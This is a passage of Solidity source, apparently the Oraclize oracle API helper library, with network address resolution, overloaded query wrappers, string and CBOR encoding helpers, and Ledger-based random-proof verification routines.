uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID; // silence the warning and remain backwards compatible
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof; // Silence compiler warnings
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1); //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
